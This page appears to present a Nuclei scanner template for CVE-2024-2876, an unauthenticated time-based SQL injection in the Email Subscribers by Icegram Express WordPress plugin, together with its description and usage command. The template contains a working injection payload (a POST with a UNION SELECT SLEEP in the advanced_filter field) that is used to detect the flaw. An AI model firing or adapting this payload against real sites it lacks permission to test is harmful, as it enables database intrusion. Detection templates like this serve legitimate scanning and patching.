Wordpress Email Subscribers by Icegram Express - SQL Injection

ID: CVE-2024-2876

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch

Tags: time-based-sqli,cve,cve2024,wp,wordpress,wp-plugin,sqli,email-subscribers,wpscan

Description

The Email Subscribers by Icegram Express - Email Marketing, Newsletters, Automation for WordPress & WooCommerce plugin for WordPress is vulnerable to SQL Injection via the ‘run’ function of the ‘IG_ES_Subscribers_Query’ class in all versions up to, and including, 5.7.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

YAML Source

id: CVE-2024-2876

info:
  name: Wordpress Email Subscribers by Icegram Express - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The Email Subscribers by Icegram Express - Email Marketing, Newsletters, Automation for WordPress & WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'run' function of the 'IG_ES_Subscribers_Query' class in all versions up to, and including, 5.7.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2876
    - https://www.wordfence.com/blog/2024/04/1250-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-email-subscribers-by-icegram-express-wordpress-plugin/
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/email-subscribers/"
  tags: time-based-sqli,cve,cve2024,wp,wordpress,wp-plugin,sqli,email-subscribers,wpscan

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111

    matchers:
      - type: dsl
        dsl:
          - 'duration>=4'
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'contains_all(body, "bulk_action", "_sent", "errortype")'
        condition: and
# digest: 4a0a004730450220621ad7ae79d2753e1d47868b6e71a16d4af4f82cc38d1b87e6937196a9429a9e0221009858ec6940647d33741e6ad5f71c5d7b634e4d9a6e09836b19527af04c91e9b2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-2876.yaml"

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